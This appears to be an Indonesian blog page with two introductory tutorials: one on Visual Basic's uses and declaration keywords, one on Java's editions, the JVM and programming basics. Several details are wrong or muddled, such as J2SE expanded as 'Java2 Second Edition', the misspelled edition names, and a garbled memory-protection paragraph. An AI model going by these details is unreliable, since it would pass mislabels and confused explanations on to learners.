Visual Basic (yang disingkat dengan VB) selain disebut sebagai bahasa pemograman, juga sering disebut sebagai sarana (tool) untuk menghasilkan program-program aplikasi berbasiskan windows. Beberapa kemampuan atau manfaat dari Visual Basic diantaranya adalah:
1. Untuk membuat program aplikasi berbasis Windows.
Untuk membuat objek-objek pembantu seperti misalnya Control ActiveX, File Help, aplikasi internet dan lain sebagainya.
2. Menguji program (debugging) dan menghasilkan program akhir berakhiran exe yang bersifat executable atau dapat langsung dijalankan.
Stuktur Program Visual Basic
Dalam membuat program, aspek utama yang harus diketahui oleh pemograman adalah struktur program. Programa akan berjalan baik, jika mempunyai struktur program yang benar. Begitu pula dengan membuat program dengan Visual Basic. Pemograman harus mengetahui struktur program yang berlaku pada Visual Basic.
Agar dapat merancang sebuah program dengan baik dan terarah, sebaiknya harus mengenal terlebih dahulu struktur program dalam Visual Basic.
Secara umum struktur program Visual Basic terdiri dari dua bagian, yaitu bagian deklarasi program dan bagian pernyataan program.
1. Bagian deklarasi Program
Bagian ini merupakan bagian peletakan semua deklarasi data yang akan digunakan. Secara umum kata cadangan yang merupakan bagian dari deklarasi adalah: Dim, Private, Const, dan type.
a. Deklarasi Dim atau Dimension.
Dim atau Dimension adalah kata cadangan yang sering dipakai mendeklarasikan Variabel yang akan digunakan dalam visual Basic. Pendeklarasian dengan pernyataan Dim berlaku pada pemograman modul, program dan sub-program.
b. Deklarasi Publik
Publik merupakan pernyataan yang menggantikan pernyataan global dalan Visual Basic. Pernyataan Publik menyatakan bahwa semua variabel yang dideklarasikan oleh pernyataan berlaku secara umum. Publik merupakan pernyataan level modul, artnya pernyataan ini pada dasarnya dideklarasikan pada semua modul.
c. Deklarasi Private
Private menyatakan bahwa semua variabel yang dideklarasikan oleh pernyataan berlaku secara khusus (private). Pernyataan private merupakan pernyataan level sub-program, artinya pernyataan yang pada dasarnya dideklarasikan pada sebuah sub-program.
d. Deklarasi Statis
Static sering digunakan untuk suatu variabel atau nilai agar tepat atau tidak berubah, selama program dijalankan. Pernyataan statik merupakan pernyataan level sub-program, artinya pernyatan yang pada dasarnya dideklarasikan pada bagaia sub-program.
e. Deklarasi Const atau Constanta
Const atau constanta sering dipakai pada bagian deklarasi untuk memberikan harga konstan pada suatu variabel. Const merupakan pernyataan level modul, artinya pernyataan yang pada dasarnya dideklarasikan pada modul. Dalam prakteknya pernyataan const sering dipandu dengan pernyataan publik atau private.
f. Deklarasi Type
Type dipakai bada bagian deklarasi untuk mendefenisiskan type data terdefenisi. Dimana type data ini dapat mengandung satu atau lebih dari suatu type data.
Type merupakan pernyataan level modul, artinya pernyataan yang pada dasarnya dideklarasikan pada modul. Dalam prakteknya pernyataan type sering dipandu dengan pernyataan public atau private.
2. Bagian Pernyataan Program
Program pada bagian ini ditulis pada jendela kode, jendela modul maupun jendela sub-program. Program pada bagian ini dapat memuat semua pemograman pengendali (event driven programming) yang merupakan salah satu kelebihan pada visual basic.
pengertian java
A. Pengertian Java
Java adalah sebuah teknologi yang diperkenalkan oleh Sun Microsystems pada pertengahan tahun 1990. Menurut definisi dari Sun, Java adalah nama untuk sekumpulan teknologi untuk membuat dan menjalankan perangkat lunak pada komputer standalone ataupun pada lingkungan jaringan. Kita lebih menyukai menyebut Java sebagai sebuah teknologi dibanding hanya sebuah bahasa pemrograman, karena Java lebih lengkap dibanding sebuah bahasa pemrograman konvensional. Teknologi Java memiliki tiga komponen penting, yaitu:
· Programming-language specification
· Application-programming interface
· Virtual-machine specification
B. Java API
· Java Standard Edition (SE), sebuah standar API untuk merancang aplikasi desktop dan applets dengan bahasa dasar yang mendukung grafis, M/K, keamanan, konektivitas basis data dan jaringan.
· Java Enterprose Edition (EE), sebuah inisiatif API untuk merancang aplikasi server dengan mendukung untuk basis data.
· Java Macro Edition (ME), sebuah API untuk merancang aplikasi yang jalan pada alat kecil seperti telepon genggam, komputer genggam dan pager.
C. Java Virtual Machine
Java Virtual Machine (JVM) adalah sebuah spesifikasi untuk sebuah komputer abstrak. JVM terdiri dari sebuah kelas pemanggil dan sebuah interpreter Java yang mengeksekusi kode arsitektur netral. Kelas pemanggil memanggil file .class dari kedua program Java dan Java API untuk dieksekusi oleh interpreter Java. Interpreter Java mungkin sebuah perangkat lunak interpreter yang menterjemahkan satu kode byte pada satu waktu, atau mungkin sebuah just-intime (JIT) kompiler yang menurunkan bytecode arsitektur netral kedalam bahasa mesin untuk host computer.
D. Sistem Operasi Java
Sistem operasi biasanya ditulis dalam sebuah kombinasi dari kode bahssa C dan assembly, terutama disebabkan oleh kelebihan performa dari bahasa tersebut dan memudahkan komunikasi dengan perangkat keras.
Satu kesulitan dalam merancang sistem basis bahasa adalah dalam hal proteksi memori, yaitu memproteksi sistem opeasi dari pemakai program yang sengaja memproteksi pemakai program lainnya. Sistem operasi tradisional mengaharapkan pada tampilan perangkat keras untuk menyediakan proteksi memori. Sistem basis bahasa mengandalkan pada tampilan keamanan dari bahasa. Sebagai hasilnya, sistem basis bahasa menginginkan pada alat perangkat keras kecil, yang mungkin kekurangan tampilan perangkat keras yang menyediakan proteksi memori.
E. Dasar Pemrograman
Java2 adalah generasi kedua dari Java platform (generasi awalnya adalah Java Development Kit). Java berdiri di atas sebuah mesin interpreter yang diberi nama JVM. JVM inilah yang akan membaca bytecode dalam file .class dari suatu program sebagai representasi langsung program yang berisi bahasa mesin. Oleh karena itu, bahasa Java disebut sebagai bahasa pemrograman yang portable karena dapat dijalankan pada berbagai sistem operasi, asalkan pada sistem operasi tersebut terdapat JVM.
Platform Java terdiri dari kumpulan library, JVM, kelas- kelas loader yang dipaket dalam sebuah lingkungan rutin Java, dan sebuah compiler, debuger, dan perangkat lain yang dipaket dalam Java Development Kit (JDK). Java2 adalah generasi yang sekarang sedang berkembang dari platformJava. Agar sebuah program Java dapat dijalankan, maka file dengan ekstensi ''.java'' harus dikompilasi menjadi file bytecode. Untuk menjalankan bytecode tersebut dibutuhkan JRE ( Java Runtime Environment) yang memungkinkan pemakai untuk menjalankan program Java, hanya menjalankan, tidak untuk membuat kode baru lagi. JRE berisi JVM dan libraryJava yang digunakan.
PlatformJava memiliki tiga buah edisi yang berbeda, yaitu J2EE ( Java2 Enterprose Edition), J2ME ( Java2 Micro Edition) dan J2SE ( Java2 Second Edition). J2EE adalah kelompok dari beberapa API ( Application Programming Interface) dari Java dan teknologi selain Java. J2EE sering dianggap sebagai middleware atau teknologi yang berjalan di server, namun sebenarnya J2EE tidak hanya terbatas untuk itu. Faktanya J2EE juga mencakup teknologi yang dapat digunakan di semua lapisan dari sebuah sistem informasi. Implementasi J2EE menyediakan kelas dasar dan API dari Java yang mendukung pengembangan dari rutin standar untuk aplikasi klien maupun server, termasuk aplikasi yang berjalan di web browser. J2SE adalah lingkungan dasar dari Java, sedangkan J2ME merupakan edisi library yang dirancang untuk digunakan pada device tertentu seperti pagers dan mobile phone.
Java merupakan bahasa pemrogrman yang bersifat case sensitive yang berarti penulisan menggunakan huruf besar ataupun huruf kecil pada kode program dapat berarti lain. Misalnya penulisan "System" akan diartikan berbeda dengan "system" oleh interpreter. Java tidak seperti C++, Java tidak mendukung pemrograman prosedural, tapi mendukung pemrograman berorientasi objek sehingga ada sintaks class pada kode programnya
Langganan:
Postingan (Atom)